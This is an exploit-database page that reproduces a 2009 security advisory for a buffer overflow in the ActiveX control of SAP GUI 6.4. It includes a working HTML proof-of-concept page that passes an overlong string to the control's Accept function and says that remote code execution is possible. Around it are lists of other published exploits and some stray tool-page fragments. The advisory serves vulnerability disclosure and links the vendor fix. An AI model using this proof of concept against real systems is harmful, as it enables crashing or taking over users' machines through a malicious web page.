Menu

Search for hundreds of thousands of exploits

"SAP GUI 6.4 - ActiveX (Accept) Remote Buffer Overflow (PoC)"

Author

Exploit author

DSecRG

Platform

Exploit platform

windows

Release date

Exploit published date

2009-06-08

Download file

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
Digital Security Research Group [DSecRG] Advisory      #DSECRG-09-015

Original Advisory:   http://dsecrg.com/pages/vul/show.php?id=115


Application:                    SAP GUI for Windows,  EnjoySAP
Versions Affected:              Version 6.4 
Vendor URL:                     http://SAP.com
Bugs:                           Buffer Overflow
Exploits:                       YES
Reported:                       13.11.2008
Vendor response:                17.11.2008
Date of Public Advisory:        08.06.2009
CVE-number:                     
Author:                         Alexander Polyakov
                                Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)



Description
***********

SAP GUI for Windows version 6.4 contains ActiveX component SAPIrRfc  which is vulnerable to Buffer overflow attack.    

file = sapirrfc.dll
GUID = F6908F83-ADA6-11D0-87AA-00AA00198702


Details
*******

Attacker can construct html page which will call vulnerable function "Accept" from ActiveX Object SAPIrRfc with long parameter.
When user open this vulnerable page it will occur DOS (Example 1) or full remote control on target system (Example2 execute calc.exe aviable by request) .



Example1:
*********


<html>
<object classid='clsid:77F12F8A-F117-11D0-8CF1-00A0C91D9D87' id='target' />
<script>

arg1="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"

target.Accept arg1 

</script>
</html>



Fix Information
***************
The issue has been solved. See SAP note 1286637.



References:
***********
SAP note 1286637

https://service.sap.com/sap/support/notes/1286637
http://dsecrg.com/pages/vul/show.php?id=115




About
*****

Digital Security is one of the leading IT security companies in CEMEA, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website.


Contact:        research [at] dsecrg [dot] com
                http://www.dsecrg.com

# milw0rm.com [2009-06-08]
Release Date Title Type Platform Author
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
2020-12-02 "Bakeshop Online Ordering System 1.0 - 'Owner' Persistent Cross-site scripting" webapps multiple "Parshwa Bhavsar"
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "NewsLister - Authenticated Persistent Cross-Site Scripting" webapps multiple "Emre Aslan"
2020-12-02 "Microsoft Windows - Win32k Elevation of Privilege" local windows nu11secur1ty
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "ILIAS Learning Management System 4.3 - SSRF" webapps multiple Dot
Release Date Title Type Platform Author
2020-12-02 "Microsoft Windows - Win32k Elevation of Privilege" local windows nu11secur1ty
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "PRTG Network Monitor 20.4.63.1412 - 'maps' Stored XSS" webapps windows "Amin Rawah"
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
2020-12-01 "Global Registration Service 1.0.0.3 - 'GREGsvc.exe' Unquoted Service Path" local windows "Emmanuel Lujan"
2020-12-01 "EPSON Status Monitor 3 'EPSON_PM_RPCV4_06' - Unquoted Service Path" local windows SamAlucard
2020-12-01 "Intel(r) Management and Security Application 5.2 - User Notification Service Unquoted Service Path" local windows "Metin Yunus Kandemir"
2020-12-01 "10-Strike Network Inventory Explorer 8.65 - Buffer Overflow (SEH)" local windows Sectechs
2020-12-01 "Pearson Vue VTS 2.3.1911 Installer - VUEApplicationWrapper Unquoted Service Path" local windows Jok3r
2020-11-30 "YATinyWinFTP - Denial of Service (PoC)" remote windows strider
Release Date Title Type Platform Author
2009-08-18 "Adobe JRun 4 - 'logfile' (Authenticated) Directory Traversal" remote windows DSecRG
2009-06-08 "SAP GUI 6.4 - ActiveX (Accept) Remote Buffer Overflow (PoC)" dos windows DSecRG
2009-05-05 "GlassFish Enterprise Server 2.1 - Admin Console /configuration/configuration.jsf URI Cross-Site Scripting" remote multiple DSecRG
2009-05-05 "GlassFish Enterprise Server 2.1 - Admin Console '/configuration/auditModuleEdit.jsf?name' Cross-Site Scripting" remote multiple DSecRG
2009-05-05 "Woodstock 4.2 404 - Error Page Cross-Site Scripting" remote multiple DSecRG
2009-05-05 "GlassFish Enterprise Server 2.1 - Admin Console /sysnet/registration.jsf URI Cross-Site Scripting" remote multiple DSecRG
2009-05-05 "GlassFish Enterprise Server 2.1 - Admin Console /applications/applications.jsf URI Cross-Site Scripting" remote multiple DSecRG
2009-05-05 "GlassFish Enterprise Server 2.1 - Admin Console /webService/webServicesGeneral.jsf URI Cross-Site Scripting" remote multiple DSecRG
2009-05-05 "GlassFish Enterprise Server 2.1 - Admin Console '/resourceNode/jdbcResourceEdit.jsf?name' Cross-Site Scripting" remote multiple DSecRG
2009-05-05 "GlassFish Enterprise Server 2.1 - Admin Console /resourceNode/resources.jsf URI Cross-Site Scripting" remote multiple DSecRG
2009-05-05 "GlassFish Enterprise Server 2.1 - Admin Console /customMBeans/customMBeans.jsf URI Cross-Site Scripting" remote multiple DSecRG
2009-04-16 "Apache Geronimo 2.1.x - Cross-Site Request Forgery (Multiple Admin Function)" remote multiple DSecRG
2009-04-16 "Apache Geronimo 2.1.3 - Multiple Directory Traversal Vulnerabilities" remote multiple DSecRG
2009-04-16 "Apache Geronimo 2.1.x - '/console/portal/Server/Monitoring' Multiple Cross-Site Scripting Vulnerabilities" remote multiple DSecRG
2009-04-16 "Apache Geronimo 2.1.x - '/console/portal/' URI Cross-Site Scripting" remote multiple DSecRG
2009-04-14 "ablespace 1.0 - Cross-Site Scripting / Blind SQL Injection" webapps php DSecRG
2009-04-10 "Chance-i DiViS DVR System Web-Server - Directory Traversal" remote windows DSecRG
2009-04-10 "Chance-i DiViS-Web DVR System - ActiveX Control Heap Overflow (PoC)" dos windows DSecRG
2009-03-31 "PrecisionID Datamatrix - ActiveX Arbitrary File Overwrite" remote windows DSecRG
2009-01-30 "Synactis All_IN_THE_BOX ActiveX 3.0 - Null Byte File Overwrite" remote windows DSecRG
2009-01-27 "Pixie CMS 1.0 - Multiple Local File Inclusions" webapps php DSecRG
2009-01-21 "AXIS 70U - Network Document Server Privilege Escalation / Cross-Site Scripting" remote hardware DSecRG
2008-12-08 "XOOPS 2.3.1 - Multiple Local File Inclusions" webapps php DSecRG
2008-11-18 "Pluck CMS 4.5.3 - 'g_pcltar_lib_dir' Local File Inclusion" webapps php DSecRG
2008-08-25 "EZContents CMS 2.0.3 - Multiple Local File Inclusions" webapps php DSecRG
2008-08-25 "Pluck CMS 4.5.2 - Multiple Local File Inclusions" webapps php DSecRG
2008-07-30 "MJGUEST 6.8 - 'Guestbook.js.php' Cross-Site Scripting" webapps php DSecRG
2008-07-29 "Minishowcase 09b136 - 'lang' Local File Inclusion" webapps php DSecRG
2008-07-28 "Velocity Web-Server 1.0 - Directory Traversal" remote windows DSecRG
2008-07-28 "PixelPost 1.7.1 - 'language_full' Local File Inclusion" webapps php DSecRG 
import requests
response = requests.get('http://127.0.0.1:8181?format=json')

For full documentation follow the link above

Cipherscan. Find out which SSL ciphersuites are supported by a target.

Cipher Protocols Sigalg Trusted

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.

Host WAF detected